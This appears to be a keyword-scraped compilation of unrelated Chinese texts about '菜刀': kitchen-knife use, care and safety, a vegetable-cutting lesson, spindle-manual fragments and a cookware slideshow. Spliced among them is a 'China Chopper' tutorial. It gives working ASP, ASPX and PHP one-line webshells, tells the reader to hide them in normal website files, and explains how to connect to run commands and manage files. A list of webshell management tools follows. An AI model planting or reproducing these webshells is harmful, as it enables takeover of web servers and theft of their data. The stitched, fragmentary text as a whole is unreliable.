中国菜刀使用说明(China chopper)
厨房刀具的分类使用方法
厨房刀具的分类使用方法咱中国人的厨房啊,那可是个充满烟火气的地方。
而厨房刀具,就像是厨房的“秘密武器”,种类繁多,各有各的用处。
先来说说那把大菜刀吧,这可是厨房的“大将”啊!切菜、剁肉,样样都行。
你看那粗壮的身材,沉甸甸的,拿在手里就感觉特别踏实。
用它切菜的时候,“咔咔”几下,菜就整整齐齐地躺在案板上了,就好像是在给菜来一场“变形记”。
你说要是没有这大菜刀,咱咋能快速地准备好一顿美味的饭菜呢?再看看那小巧玲珑的水果刀,就像个机灵的“小精灵”。
专门对付那些水果呀!削皮、切块,那叫一个顺手。
想象一下,你拿着它轻轻地削着苹果皮,那果皮就像一条长长的彩带慢慢飘落,多有意思呀!这水果刀虽然小,可千万别小瞧它,没有它,咱吃水果都没那么方便呢!还有那把剪刀,可别以为它只能用来剪纸哦!在厨房它也有大用处呢。
剪个鱼鳍啦,剪个鸡骨啦,嘿,特别好使。
就好像它是厨房的“多面手”,啥都能帮上忙。
咱再说说那磨刀石,这可是刀具的好伙伴啊!刀具用久了会变钝,这时候就得请出磨刀石啦。
就像人累了要休息一样,刀具也需要“保养”一下。
你在那磨刀石上“霍霍”地磨几下,刀具立马就又变得锋利无比了,切起东西来那叫一个带劲!你可别把这些刀具用错了地方哦,不然可就闹笑话啦。
就好比你拿水果刀去剁骨头,那不是难为它嘛!咱得根据不同的食材,选择合适的刀具,这样才能事半功倍呀!而且啊,使用刀具的时候可得小心点,别一不小心伤了自己。
就像走路要看着点路一样,用刀也要留个心眼。
用完了刀具,也得好好放起来,别乱丢乱放,不然下次找都找不到。
总之呢,厨房刀具就是咱厨房的宝贝,它们各有各的用处,各有各的特点。
咱得好好对待它们,让它们为咱的美味生活添砖加瓦。
没有它们,咱的厨房可就没那么精彩啦!它们就像是一群默默奉献的“小战士”,为了我们能吃上可口的饭菜而努力工作着。
所以呀,咱可得好好珍惜这些厨房刀具,让它们在咱的厨房里发挥出最大的作用!。
中国菜刀使用教程
想学学怎么用菜刀,刚在网上搜到了菜刀的使用方法。
怕有和我一样的新手不会用,所以发过来,算是给大家分享吧。
首先说一下菜刀的功能,菜刀是用来连一句话的,asp、aspx、php的一句话菜刀都可以连,只是这几种一句话语句不一样。
asp的一句话是:<%eval request("pass")%>aspx的一句话是:<%@ Page Language="Jscript"%><%eval(Request.Item["pass"],"unsafe");%>php的一句话是:<?php @eval($_POST['pass']);?>这几个一句话的密码都是pass,也就是双引号或者单引号包含着的这部分,比如我想把asp 的一句话的密码改成wc,那么改完之后就是这样的:<%eval request("wc")%>其他同理。
要想连一句话,你首先得把这个一句话插入到一个正常的网站文件中,asp的一句话插入到asp文件里,aspx的一句话插入到aspx文件里,php同理。
当然,你也可以把一句话单独写在一个文件里,比如你新建了一个asp文件,这个asp文件的全部内容就只有一个一句话,也是可以的。
插入了一句话木马,下面就是连接了。
在菜刀主界面,右击,选择“添加”,在“地址”这里填上你插入一句话的文件的地址,后边的那个小框填的是你的一句话的密码,其他的不用填,填完之后单击“添加”,就可以了。
添加完毕后,你的这个一句话的shell会显示到主界面里,右击它,选择“文件管理”,就可以看到网站上的文件了在菜刀里还有一个功能,是“虚拟终端”,也是在右键菜单里的,这个相当于webshell中的执行DOS命令的功能如果你的shell有权执行DOS命令,那么直接输入命令回车就可以看到结果了如果你的shell有权执行DOS命令,那么直接输入命令回车就可以看到结果了。
菜刀、菜墩(砧板)的使用与保养_厨房用具
菜刀、菜墩(砧板)的使用与保养
一、刀的种类
切菜用的刀种类较多,根据形状可分为方头、圆头、马头及特殊用途的刀,如尖头剔刀、雕刻刀等等。
根据其用途,一般分为批刀、斩刀、前批后斩刀3种。
批刀: 约重500克,轻而薄,适用于批切不带骨的精细原料,如片切猪、牛、羊、鸡肉等。
斩刀: 约重1000克,刀身重,刀刃厚钝,适用于砍带骨,坚硬的原料。
前批后斩刀:约重750克,介于批刀与斩刀之间,前薄后厚,兼有批、斩刀的功用。
二、刀具的保养
1、刀用完后,用洁布擦干净晾干或涂少许油,防止刀身氧化生锈,失去光度和锋利。
2、刀用完后,要插在刀架上,不要随手乱丢,避免碰损刃口。
3、刀要经常磨,磨刀时要做到正反次数一致;磨两头带中间。
三、菜墩的使用与保养
菜墩以银杏树木为最佳。
因其通透性好及木质细腻,不伤刀又不
易起屑。
菜墩在使用时也要注意保养。
1、新菜墩使用前需用盐卤浸泡数日,使菜墩保持湿润不燥、不裂、结实耐用。
2、菜墩在使用时,不应专用一端,要四周旋转使用,保持菜墩磨损均衡,避免常用一面出现凸凹不平,一旦出现不平时,可用铁刨刨掉或用刀、斧砍平。
3、菜墩用完后,要刮洗干净,竖起,用洁布罩好,放通风处,以备再用。
厨房用具(刀具、炉灶、烤箱、锅具)的使用技术操作
厨房用具(刀具、炉灶、烤箱、锅具)的使用技术操作本文档将介绍厨房常用用具的正确使用技巧和操作注意事项。
我们将涵盖刀具、炉灶、烤箱和锅具的使用方法,以确保您在厨房工作时的安全和效率。
刀具使用技术操作刀具在厨房中是必不可少的工具,以下是其正确的使用技巧和操作方法:1. 使用合适的刀具:根据具体的切割任务选择适合的刀具。
例如,砧板上用大刀切割大块食材,使用剁刀砍碎硬质食材,用小刀进行精细切割等。
2. 刀具保养:保持刀具的锋利度是关键。
使用磨刀石或专业磨刀器进行定期保养和磨刃,保持刀刃锐利。
注意在使用后及时清洗、擦干并妥善存放刀具。
3. 安全使用:使用刀具时务必注意安全。
保持刀刃与自己和他人的身体保持距离,避免意外伤害。
在使用完毕后将刀具放置在安全的位置,避免触及儿童。
炉灶使用技术操作炉灶是厨房中的核心设备,正确的使用方法和技术可以确保炊事过程的顺利进行:1. 点火使用:将瓦斯管接好后,打开煤气阀门,使用火柴或打火机点燃燃气灶具。
注意在点火时远离可燃物和易燃物。
2. 可调控火力:掌握炉灶上各个火力档位的使用规则,根据所需烹饪温度来调整火力大小。
避免过高的火力造成食材烧焦或不熟。
3. 清洁和保养:使用完毕后,关闭煤气阀门,确保火焰熄灭。
等待炉灶冷却后,使用湿布清洁炉灶表面,并保持通风良好的环境。
烤箱使用技术操作烤箱在烘焙和烹饪中起着重要作用,以下是正确使用烤箱的技巧和操作方法:1. 预热烤箱:在使用烤箱前,先预热至所需温度。
这样可以确保食材在投入烤箱时即刻开始烹饪,提高烘焙效果。
2. 上下火和风扇烤箱的区别:根据烹饪需求选择适当的烤箱模式。
上下火适合大块食材的烹饪,而风扇烤箱则更适合烘焙等需求。
3. 烤盘选择:选择合适的烤盘进行烹饪,确保食材的均匀受热。
使用烤盘前可以涂抹一层油或使用烤盘垫,以防止食材粘附。
4. 温度和时间掌握:根据食谱或烹饪需求设定合适的温度和时间。
在烹饪过程中多次检查食材的熟度,以避免过熟或未熟。
刀具使用安全知识
刀具使用安全知识日常生活中经常需要使用菜刀、剪刀、钳子等刀具,这些刀具锋利、尖锐,使用不慎,就可能造成伤害.在使用刀具时应当注意:(1)使用刀具时应当注意力集中,不用刀具比划、打闹,更不能拿着刀具互相开玩笑,以免误伤别人或自己.(2)刀具暂时不使用时,要妥善保存起来,放在安全稳妥的地方,不要使刀具的尖和刃部突出、暴露在外,以防止刀具被碰落而伤人或者有人不慎触碰而受伤。
1。
菜刀的安全使用菜刀是厨师必不可少的帮手.主要用来切菜、肉、鱼等合理使用和保养厨房刀具,可以有效提高使用的工作效率.(1)小姆指、无名指、中指握刀柄,大姆指按住刀的内侧面。
食指第一个关节压住刀背(刀锋的对面),小姆指至中指三个手指控制刀的位置,手腕和食指控制下手的力度。
(2)使用菜刀时手上不能沾水否则很容易滑落而误伤自己,左右手一定要配合并且菜刀要保持干净,使用菜刀时注意不要切到手。
(3)让菜刀完全可见:放置菜刀时,将把手朝向自己,并确保放好后菜刀不会意外落下,千万不要让抹布等遮挡住菜刀,否则容易出现意外。
把刀递给别人是要注意不要将刀尖对着人。
(4)当菜刀掉落时:菜刀掉落时,千万不要试着用手去接,这样有可能严重受伤。
(5)放置在安全的地方:锋利的菜刀对儿童很危险,一定要放在儿童拿不到的地方。
(6)千万不要以手指划刀刃去试探刀具是否锋利。
2.剪刀的安全使用剪刀是切割布、纸、钢板、绳、圆钢等片状或线状物体的双刃工具,两刃交错,可以开合。
剪刀属于比较锋利的物品,如果不小心,就会伤到自己和别人。
因此在使用时,要特别注意安全。
(1)要用右手的拇指放进剪子一侧手柄,用食指和其余三指同时放入剪子另一侧手柄,把剪子的尖朝前,剪刀立起来,从身体开始向前方剪,千万不要横着剪,以防剪到左手或扎到身体其他部位.(2)正确使用剪刀的姿势,手应离开剪刀刀口1—2厘米。
(3)任何时候使用剪刀禁止将自己或别人的手暴露在刀口或刀尖上。
(4)儿童使用剪刀注意事项1)孩子作用剪刀时,最好有一位家长陪伴;2)要用儿童安全剪刀;3)不要拿剪刀对别人比划;4)使用完剪刀要及时盖上剪刀安全帽,然后及时放回工具盒里;5)如果不小心被剪刀这样尖锐的物品扎伤,一定要孩子赶快报告老师、家长,找医生及时治疗;6)用完后要让孩子把剪刀收放好,不要拿剪刀打闹玩耍。
渗透利器常见的WebShell管理工具
渗透利器常见的WebShell管理⼯具攻击者在⼊侵⽹站时,通常要通过各种⽅式写⼊Webshell,从⽽获得服务器的控制权限,⽐如执⾏系统命令、读取配置⽂件、窃取⽤户数据,篡改⽹站页⾯等操作。
本⽂介绍⼗款常⽤的Webshell管理⼯具,以供你选择,你会选择哪⼀个?1、中国菜⼑(Chopper)中国菜⼑是⼀款专业的⽹站管理软件,⽤途⼴泛,使⽤⽅便,⼩巧实⽤。
只要⽀持动态脚本的⽹站,都可以⽤中国菜⼑来进⾏管理!在⾮简体中⽂环境下使⽤,⾃动切换到英⽂界⾯。
UNICODE⽅式编译,⽀持多国语⾔输⼊显⽰。
2、蚁剑(AntSword)AntSword是⼀个开放源代码,跨平台的⽹站管理⼯具,旨在满⾜渗透测试⼈员以及具有权限和/或授权的安全研究⼈员以及⽹站管理员的需求。
github项⽬地址:3、C⼑(Cknife)这是⼀款跨平台的基于配置⽂件的中国菜⼑,把所有操作给予⽤户来定义。
github项⽬地址:4、冰蝎(Behinder)冰蝎”是⼀款动态⼆进制加密⽹站管理客户端。
github地址:5、XiseXISE WebShell管理⼯具。
6、AltmanAltman3是⼀款渗透测试软件,基于.Net4.0开发,依托Eto.Form可以完美运⾏在Windows、Linux、Mac等多个平台。
github项⽬地址:7、WeevelyWeevely是⼀种Python编写的webshell管理⼯具,跨平台,只⽀持PHP。
github项⽬地址:⽤法⽰例:weevely generate <password> <path>weevely <URL> <password> [cmd]同时,在Kali 2.0 版本下,集成了三款Web后门⼯具:WebaCoo、weevely、PHP Meterpreter。
8、QuasiBotQuasiBot是⼀款php编写的webshell管理⼯具,可以对webshell进⾏远程批量管理。
中式烹饪秘籍:正确使用菜刀
中式烹饪秘籍:正确使用菜刀在中式烹饪中,菜刀是一种非常重要的厨具。
它不仅仅是切割食材的工具,更是烹饪技巧和厨师手艺的象征。
正确的使用菜刀不仅可以提高工作效率,还可以确保安全卫生。
本文将介绍几个关于中式烹饪中正确使用菜刀的秘籍,希望对读者有所帮助。
首先,选择合适的菜刀非常重要。
在中式烹饪中常用的菜刀有两种,分别是宽刀和薄刀。
宽刀适合切割大块的食材,如鱼、肉等;薄刀则适合切割蔬菜、水果等小块食材。
选择合适的菜刀不仅可以提高工作效率,还可以保证切割的食材均匀。
其次,正确握持菜刀也是至关重要的。
正确的握持方式能够更好地控制菜刀的力度和方向,提高切割的准确性。
握持菜刀时,应该把刀柄握紧,拇指放在刀柄与刀身交接处,食指和中指握住刀柄,其余三个手指放在刀柄下方,紧贴刀身,这样可以更好地控制刀的稳定性。
刀法也是使用菜刀的关键。
中式烹饪中常见的刀法有剁、切、刨、刮、剁椒等,每种刀法都有其独特的技巧和要求。
剁是用来将食材切成小块的刀法,要求刀片以快速、均匀的力量下压,刀斧交替。
切是指将食材切成长条或薄片的刀法,要求刀片在切割过程中保持平稳。
刨是指将食材去皮或去筋的刀法,要求刀片与食材表面呈45度角,从硬质食材上刨下外皮或筋络。
刮常用于去除食材表面的皮毛或去除食材内的不可食部分,要求刀片与食材表面保持平行。
剁椒是指将辣椒切成细碎的刀法,要求刀片以快速、均匀的力量斜切辣椒,刀刃与案板成60-75度角。
此外,保持菜刀的锋利也是使用菜刀的关键。
锋利的菜刀不仅可以轻松切割食材,还可以保持食材的原汁原味,提高菜肴的色、香、味。
菜刀使用一段时间后会变钝,所以在使用前需要将菜刀磨刀。
磨刀的正确方法是:将刀锋对准磨刀器的夹缝,用适当的力度在夹缝中来回磨刀10-20次,然后将菜刀反转,再次在夹缝中磨刀。
磨刀时还要注意保持稳定的手势,避免刀片与手部接触。
最后,保持菜刀清洁和储存也是非常重要的。
使用完菜刀后,应立即清洗并保持干燥。
菜刀不宜浸泡在水中,而应该用洗涤剂将刀片和刀柄彻底清洗干净,然后用干净的厨房纸巾或布将其擦干。
中国菜刀使用方法
中国菜刀使用方法中国菜刀是中华传统的厨房利器,有着悠久的历史。
它以其锋利的刀刃和多功能的特性成为大厨和家庭主妇们最常用的厨具之一。
在使用中国菜刀之前,需要了解它的结构和正确的使用方法。
本文将详细介绍中国菜刀的使用方法,包括持握方式、切割技巧和维护保养等方面,以帮助您更好地掌握这种厨具。
首先,我们来了解一下中国菜刀的结构。
中国菜刀通常由刀身、刀柄和刀背组成。
刀身是整个刀具的主体部分,有着较大的刀面和锋利的刀刃。
刀柄是刀身的延伸,用于握持刀具。
刀背位于刀刃的对面,通常用于处理一些需要用到刀背的工作。
接下来是正确的持握方式。
正确的持握方式可以确保刀具的稳定性,并降低切割时的危险性。
一般来说,持握时要将食指和中指放在刀柄上,将拇指放在刀刃附近的刀背上,无名指和小指放在刀柄的后部。
这样的握持方式可以提供更好的掌握力和灵活性,使刀具更易于掌控。
在使用中国菜刀时,要注意刀刃的方向和力度。
一般来说,切割时要将刀刃保持在与切割物的方向垂直的位置上,这样可以确保刀具的稳定性和切割的准确性。
此外,切割时的力度也很重要,要根据不同的食材和切割方式来控制力度。
切硬的食材时可以稍微用力一些,但要注意不要用力过度,以免损坏刀具或导致切割不准确。
除了正确的持握方式和切割技巧,还需要注意刀具的维护保养。
在使用完刀具后,应及时清洁和干燥刀刃,以防锈蚀。
刀具长时间不用时,可以涂上一层食用油进行保养。
此外,要避免将刀具与硬物一起存放,以免刀刃受损。
定期对刀刃进行磨削和修整,可以保持刀具的锋利度和切削效果。
在实际使用中,中国菜刀具有多种切割技巧。
常见的切割技巧包括剁、切、刨、拍、刮等。
剁是将食材切成小块的方式,一般用于处理大块肉类或硬质食材。
切是将食材切成薄片或薄块的方式,适用于蔬菜、肉类等食材。
刨是将食材切成薄片的方式,适用于薄切鱼片等。
拍是将食材切成薄片的方式,用于处理大块鱼类或肉类。
刮是将食材从刀刃上刮下的方式,一般用于处理蒜末、姜末等。
你真会切菜吗?省力省时使用菜刀的5个诀窍!
你真会切菜吗?省力省时使用菜刀的5个诀窍!
省力又省时诀窍.....正确使用菜刀方法!
只记住菜刀的使用诀窍,就能增添做料理的乐趣。
请挑选一把锐利好切的菜刀吧!
■1右手握姿
弯曲手指按压食材切的时候为了避免晃动,手掌要整个紧握住刀柄。
大拇指放在刀柄与刀刃的连接处,食指则轻轻放在“刀背”的位置。
食指直直放在“刀背”上也行。
■2左手按压食材的正确姿式
将放在食材上的指尖像缩起来般地轻轻弯曲,切的时候指关节顶着刀刃,这样指尖就不会有被切到的危险。
若伸长指尖按压食材,会有被切到的危险。
请别养成习惯。
■3正确发力:推切
不需从上方压住食材,而是以彷佛朝斜前方轻轻推出去般,即可不费力地切开。
■4站姿
离一个拳头远
身体站在离流理台约一能有效运用砧板。
个拳头的位置,并且避免身体往前倾。
右脚往后挪一步
右脚(与惯用手同侧的脚)往后挪一步,不仅身体重心平稳、也比较不容易疲累。
菜刀与砧板呈直角
单脚往后挪一步、身体稍微斜站,让菜刀和砧板呈一直线,才能有效运用砧板。
这样不行
身体紧贴着流理台并往前倾,不仅浪费力气、容易疲累,也无法有效运用砧板。
■5固定砧板
在砧板下铺湿纸巾就能固定住。
切记刀业
专注菜刀20年纯手工制造铸就生活品质。
中餐菜刀用法
中餐菜刀用法中餐菜刀是中餐烹饪中必不可少的重要工具,熟练的使用菜刀既能提高工作效率,又能保证食品安全和呈现美观的菜品。
因此,掌握中餐菜刀的使用技巧及正确的使用方法非常重要。
下面分步骤介绍中餐菜刀的用法。
第一步:选择适合的菜刀不同种类的中餐菜刀形状不同,应根据自己的需要选择合适的刀型。
比如需要切割大块的食材选择大刀,需要切细的食材选择小刀和牛刀;需要切骨头的可以选择骨刀;需要剁碎食材的可以选择菜刀和斧头。
另外,如果持刀时感觉不够稳固,可以选择一把带有把手的刀。
第二步:正确的握刀姿势持刀的手应该紧握刀柄,手肘微弯,手腕稳定,刀刃的方向要向下,同时手指卸掉多余力量,使切割更加稳健。
另外,在使用菜刀的过程中,应该保持自己的手肘与切割物体平行,不要侧向而斩,这样更容易受伤。
第三步:正确的切割姿势在使用菜刀的时候,食物应该放在板凳或者砧板上,不要拿在手中切割。
拿着切割食物的手可以用食指和拇指捏住食物,切片的过程中注意食物厚薄一致。
在切割的过程中,手腕以自然弯曲为宜,身体保持稳定的姿态。
第四步:注意保养在日常使用中,菜刀要注意保养,避免长时间受潮,以免刀柄有霉,内部腐烂,刀刃锈蚀,要经常用抹布抹干刀身,并涂上食物级润滑油。
第五步:注意安全在使用中餐菜刀的过程中要注意安全。
菜刀是属于锋利器具,所以在使用的过程中一定要保持专注和谨慎,以免受伤。
在不需要用菜刀的时候,应该将刀刃放在刀套中,避免意外伤害。
总之,正确的使用方法对于中餐菜刀非常重要,掌握了正确的使用方法可以提高工作效率,保证食品安全并呈现出更美观的菜品。
在实际使用中,一定要注意食品安全和自身安全,避免意外伤害。
中式厨刀的种类和用法
中式厨刀的种类和用法English Answer.Types and Usage of Chinese Kitchen Knives.Chinese cuisine is renowned for its diverse ingredients, complex flavors, and intricate cooking techniques. To achieve these culinary feats, Chinese chefs rely on a range of specialized knives, each designed for a specific task. Here are the most common types of Chinese kitchen knives:1. Chef's Knife (Cai Dao):Also known as a cleaver, the chef's knife is the workhorse of any Chinese kitchen. Its broad, rectangular blade is used for a variety of tasks, including chopping, slicing, and mincing vegetables, meat, and poultry.2. Slicing Knife (Pi Dao):The slicing knife has a long, thin blade that is ideal for slicing thin, uniform pieces of meat, poultry, fish, or vegetables. It is commonly used for preparing cold cuts, sashimi, or shaved vegetables.3. Boning Knife (Gu Dao):The boning knife is designed for removing bones from meat and fish. Its narrow, flexible blade allows it to navigate tight spaces and around delicate bones.4. Vegetable Knife (Cai Dao):This is a smaller version of the chef's knife, specifically designed for cutting vegetables. Its blade is shorter and narrower, providing greater precision and control when chopping or slicing vegetables.5. Santoku Knife:The Santoku knife is a versatile knife that combines the features of a chef's knife and a vegetable knife. Itsblade is slightly shorter and narrower than a chef's knife, making it easier to handle. It is ideal for a wide range of tasks, including chopping, slicing, and dicing fruits, vegetables, and meat.6. Utility Knife (Quan Yong Dao):The utility knife is a small, all-purpose knife that is used for various tasks, such as peeling fruits and vegetables, cutting small pieces of meat, or slicing bread.7. Cleaver Knife (Po Dao):The cleaver knife is a heavy, rectangular knife usedfor breaking down large pieces of meat and poultry. It can also be used to smash garlic or crack nuts.8. Fillet Knife (Yan Dao):The fillet knife has a thin, flexible blade that is designed for filleting fish and poultry. Its narrow shape allows it to separate meat from bones with precision.Chinese Answer.中式厨刀的种类和用法。
学用菜刀
切扇状
将“切圆片”的食材,从中切一半即为 “半月片”,再从中切半即为“扇状”。食 材切圆片还太大时,或希望快点煮熟时,都 适合采取这种切法;炖煮料理或猪源自汤里的 胡萝卜等,便常采取这种切法。
切丁
将食材切成如骰子般大小的立方体,称为 “切丁”,标准大小为1cm 立方,它能突显 食材的口感;作法为先切数根1cm 正方的长 条,再全部对齐前端,每间隔1cm 切断,就 能轻松切丁。
5、或切成5片连刀片,提示:再把中间相隔 的2片向内卷。
6、你还可以尝试快速切出蓑衣片黄瓜。
黄瓜桶
1、准备好黄瓜、小刀和竹签; 2、黄瓜取中间直径差不多的部分,切成长短 一致的小段(约5CM) 3、用工具将小段黄瓜中间掏空,注意保留底 部; 4、用刀小心地切出对称的桶把; 5、略微修正一下不平的地方,穿上竹签; 6、简单的黄瓜小桶便完工了,快试试吧!
学用菜刀
怎么握菜刀?
正确的握刀方式 持刀手:用大拇指及住靠近刀面,其余三 指握住住刀柄,刀背。 按物手:五指微弯,指尖内朝手心,手指 关节朝外,指尖轻扶住材料。
蔬菜的常见切法
切圆片
这是将刀子和圆筒形食材的纤维呈直角来 切,作法为依食材不同的大小,选择先去皮 后切圆片,或是切圆片后再去皮。白萝卜要 用来制作关东煮时,就会采取这种切法。
切末
要在汉堡中加入洋葱时,常采取这种切法。 洋葱先用刀分切开来,再将刀和分切口呈直 角细切,就能轻松将洋葱切末;建议使用锐 利一点的刀子来切洋葱末,迅速完成较不易 流泪。
黄瓜花切
切黄瓜装饰花的步骤: 1、黄瓜洗净,切去两边。
2、横向对半切成两半。
3、用刀的顶端顺着黄瓜切3片连刀片。
4、然后把中间1片向内卷,花的形状就出来 了。
中式厨房器具介绍及使用注意事项PPT课件
3.不锈钢蒸锅
此类锅用不锈钢加工而成,有单层和双层之分, 如图1—4所示。不锈钢蒸锅使用时应将锅盖 盖严, 锅底加水,避免干烧。
4.砂锅
砂锅属于陶器制品, 是我国特有的一种餐饮用具,常用于炖、焖、煨、焐等烹调方法,如图1 1—5所示。 砂锅按规格可分为大、中、小三种类型。
图1—4 不锈钢蒸锅
图1—5 砂锅
感谢聆听!
6. 汤勺
汤勺又名调羹、汤匙、针匙等,如图1—16所示,按大小可分为加大汤勺(全长约14厘米)、 加二汤勺(全长约13 厘米)、三号汤勺(全长约12 厘米)、四号汤勺(全长约10厘米)、五号汤 勺(全长约8厘米),以及酒席宴会中分汤用的公勺(全长约22厘米)。
图1—14 品锅
图1—15 碗
图1—15 汤勺
中式厨房器具介绍及使用注意事项
—现代厨具及设备
中式厨房器具
第一节 烹饪切割工具 第二节 烹饪炊具 第三节 案台辅助器具 第四节 分子美食器具
第一节 烹饪切割工具
一、刀具类
二、砧板类
砧板属切割枕器,是刀对烹饪原料进行加工时使用的垫托工具,包括砧墩和案板。 砧板的种类 繁多, 主要有天然木质砧板、塑料砧板、天然木质和塑料复合型砧板三类, 通常使用天然木质砧板。
砧板的使用与维护保养要求如下:
(1) 使用时应保持表面平整,且保证食品的清洁卫生。
(2) 使用后要及时刮洗擦净,晾干水分后用清洁的布罩好。
图1—1 砧板
(3) 新买的砧板在使用前必须用盐水浸泡三天,再用沸水加消毒液消毒, 并冲洗干净,这样既
可杀菌,又可使木质紧缩致密, 结实耐用。
(4) 使用时要防止滑动,保证操作安全。
1.几何形刀
几何形刀主要用于制作几何形状的物件,多用于装饰、点缀等。 一般刀身高8~15厘米, 厚0.1 厘米以下,刀口大小视实际情况而定。 几何形刀有圆筒形刀、三角形刀、菱形刀、方形刀和椭圆 形刀等几种。
Chopper 150 H 高频主轴 手动换刀 产品说明书
手册Chopper 150 H高频主轴手动换刀电主轴的标记系列号额定转速因为本公司的电主轴始终保持最新技术研发水平,所以我们保留更改和与本说明书中的实施方案相比的技术改进和不同内容。
本手册文字说明经过极为认真地编写。
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未经 Alfred Jäger GmbH 明确的书面同意,不得翻译和复制(即使是节选)。
目录:原厂手册的翻译文本1初步信息 4 1.1手册用途 (4)1.2符号说明 (4)2运输和包装 5 2.1电主轴的供货范围 (5)2.1.1可选配件 (5)2.1.2随产品附带的技术资料 (5)2.2电主轴的包装 (6)3按规程使用 6 3.1允许的加工类型 (6)3.2允许材料 (6)4安全注意事项 7 4.1工作要具备安全意识 (8)4.2电主轴的停止运转 (9)4.3安装维修 (9)4.4改装维修 (9)4.5不正确的操作方法 (9)5技术说明 10 5.1电主轴的接口 (10)5.2电气连接 (10)5.3冷却 (11)5.3.1通过电主轴托架冷却 (11)5.4密封空气 (11)6技术参数 12 6.1尺寸 (13)6.2技术数据页(KL1007、交流电机) (14)6.2.1功率图 (15)6.3电路图 (16)6.4空气传播听觉范围内的声音 (17)7操作地点 188安装 19 8.1安装电主轴 (19)8.2介质引线直径 (19)8.3压缩空气 (20)8.3.1气体纯度等级 (ISO 8573-1) (20)8.3.2调节密封空气 (20)9调试 21 9.1进料示意图.............................................................. 219.2每天启动 (22)9.3停止信息 (22)9.4存放之后启动 (22)10刀具更换 23 10.1顺时针旋转 (23)10.2手动换刀 (24)10.2.1最大拧紧力矩 (24)11高速加工刀具 2512维修 26 12.1球轴承 (26)12.2每日清洁 (26)12.2.1开始工作前 (26)12.2.2每次刀具更换时 (26)12.2.3每次更换夹具时 (26)12.3存放时 (27)12.4月维修 (27)12.5在长期存放条件下 (27)12.6最长存放期限 (27)13拆除 28 13.1废物处理及环境保护 (28)14服务和维修 28 14.1特约维修站 (28)14.2工作故障 (29)15安装声明 31初步信息1初步信息高速电主轴(电主轴)是适用于高速加工的高质量精密刀具。
挫刀的使用注意事项(二篇)
挫刀的使用注意事项挫刀是用高碳钢T13或T12制成的,淬火后的硬度为HRC62-67。
挫刀分为普通挫、特种挫和整形挫三类。
普通挫又分为平挫、方挫、圆挫、半圆挫和三角挫等;特种挫分直挫和弯挫等;整形挫俗称组挫,由许多各种形状和断面的挫刀组成一套。
还有粗挫刀、细挫、双细挫刀和油光挫刀。
挫刀的安全使用注意事项:1、挫刀必须装柄后方可使用,否则挫刀的尾尖有可能扎伤手及手腕或身体的其他部位。
2、要正确的使用挫刀。
一般用右手握紧挫柄,左手握住或扶住挫刀的前边,两只手均匀用力,推进挫刀;断面比较小的挫刀在使用时,施力不要过大,以免使挫刀折断;挫削速度不要过快,一般在每分钟20~60次为宜。
3、挫刀和挫柄上防止油脂污染,正在挫削的工件表面也不宜被油脂污染。
防止挫刀打滑,造成事故。
4、挫削时不要用嘴吹切屑,以防切屑飞入眼内;也不要用手去清除切屑,以防切屑扎破手指和手掌,应该使用刷子清扫除掉。
5、挫刀用后,应妥善放置,不应重叠摆放,以免损坏挫齿;放在操作台上时,不要露出台面,以防掉下伤脚。
6、严禁将挫刀做其他工具使用,不能当扁铲、撬棍使用,以防折断伤人。
挫刀的使用注意事项(二)一个好的砍柴工人,除了要有强健的体魄和熟练的技巧外,还必须掌握挫刀的正确使用方法。
下面,我将为您介绍使用挫刀的注意事项,希望对您有所帮助。
首先,使用挫刀时,要选用合适的挫刀。
挫刀应该选用质量好、刀刃锋利并且耐用的款式。
在购买挫刀之前,可以先进行简单的试用,以确保其适合自己的使用习惯和手部尺寸。
其次,使用挫刀前,需要确认工作场所的安全。
应该选择一个坚实的台子或者木料,以确保在使用挫刀时不会滑动或者倾斜。
同时,周围也应该清理干净,以避免绊倒或者碰撞到其他物品。
另外,使用挫刀时,要注意保持正确的姿势。
双脚应该站稳,与肩同宽,这样可以更好地平衡身体重量。
同时,应该将左脚稍微向前移动,以便更好地控制力量和方向。
双手应该握紧挫刀的柄部,保持稳定的握力,这样可以提高砍劈的效果和安全性。
正确的菜刀使用方法
正确的菜刀使用方法菜刀是家庭厨房中最常用的厨具之一,但使用不当会导致伤害。
因此,了解正确的菜刀使用方法非常重要。
本文将介绍正确的菜刀使用方法,以便您在烹饪过程中保持安全和高效。
1. 菜刀的类型首先,需要了解不同类型的菜刀及其适用场合。
通常,菜刀分为日式切菜刀和西式切肉刀。
日式刀身较薄,刀刃较直,适用于剁、切、劈和切丝等工作;而西式刀身较厚,刀刃较弯,适用于切肉、鱼和家禽等大块的食材。
此外,还有专门用于切削和切丝的小菜刀和刨刀等。
选择正确的菜刀类型,是保持安全和效率的关键。
2. 菜刀的保养正确的菜刀使用不仅包括正确的切割和切切技术,还需要正确地保养刀具。
保持菜刀刀刃的锋利,不仅可以延长刀具寿命,还可以更准确、快速地完成烹饪任务。
使用后,请使用温水、中性洗涤剂和柔软的布抹去刀刃上的污渍和碎片。
请注意,不要使用磨料或硬质海绵清洁刀刃。
洗完后,请用干净的布将刀擦干,不使用时,请注意存储位置,远离潮湿和阳光直射。
3. 菜刀的使用技巧使用菜刀时,请使用正确的姿势。
在使用菜刀时,将刀握在刀柄上,手握刀尾部,以确保稳定性。
请勿使用锋利的刀刃削面朝上。
为了安全起见,请使用切菜板或其他稳定的表面,以防止切割时刀刃滑动。
请确保使用锋利的刀刃,不要使用已经钝化或损坏的刀刃,以免切削不均或损伤手指。
切割时,请使用大拇指固定材料,其余手指包围食材。
请勿用手指握住食材,而是用锋利的刀刃将其切割。
4. 菜刀使用中的安全警告菜刀是非常锋利的刀具,如果使用不当会导致切伤或其他伤害。
因此,请在使用过程中注意以下几点:1) 请勿在切割过程中将刀刃朝向自己的身体部位;2) 切割时请使用工具辅助材料,如定位钉等;3) 若您停止使用菜刀,请将其放置在安全的位置,并确保面朝下或用刀鞘套住刀刃。
5. 小结使用正确的菜刀使用方法,可以确保安全、高效的烹饪过程。
分类、保养、技巧和安全方面的知识点,请务必熟记于心,以保持良好的厨艺技术和保护自身安全。
3-技术基础—菜刀的使用方法和技术-五年级下册劳动技术教案-北京版
3.学生举手发言
4.教师概括、讲解、示范
(1)菜刀分为刀背、刀刃、刀面、刀把
(2)右手持刀,食指抵住刀面
(3)下刀时先下前部刀刃再下后部,行刀时力度要均匀,花形薄厚要均匀
5.学生实践持刀姿势
6.观察书中介绍的几种蔬菜花形,说一说,它们是如骤
课题
第三课 技术基础——菜刀的使用方法和技术
课时
教学目标
使学生掌握几种蔬菜花样切制方法。
在实践的过程中,不断地发现问题,重点讲解,解决问题。
培养学生耐心细致的好品质。培养学生热爱学习,热爱生活。
重点
几种蔬菜花样切制方法
难点
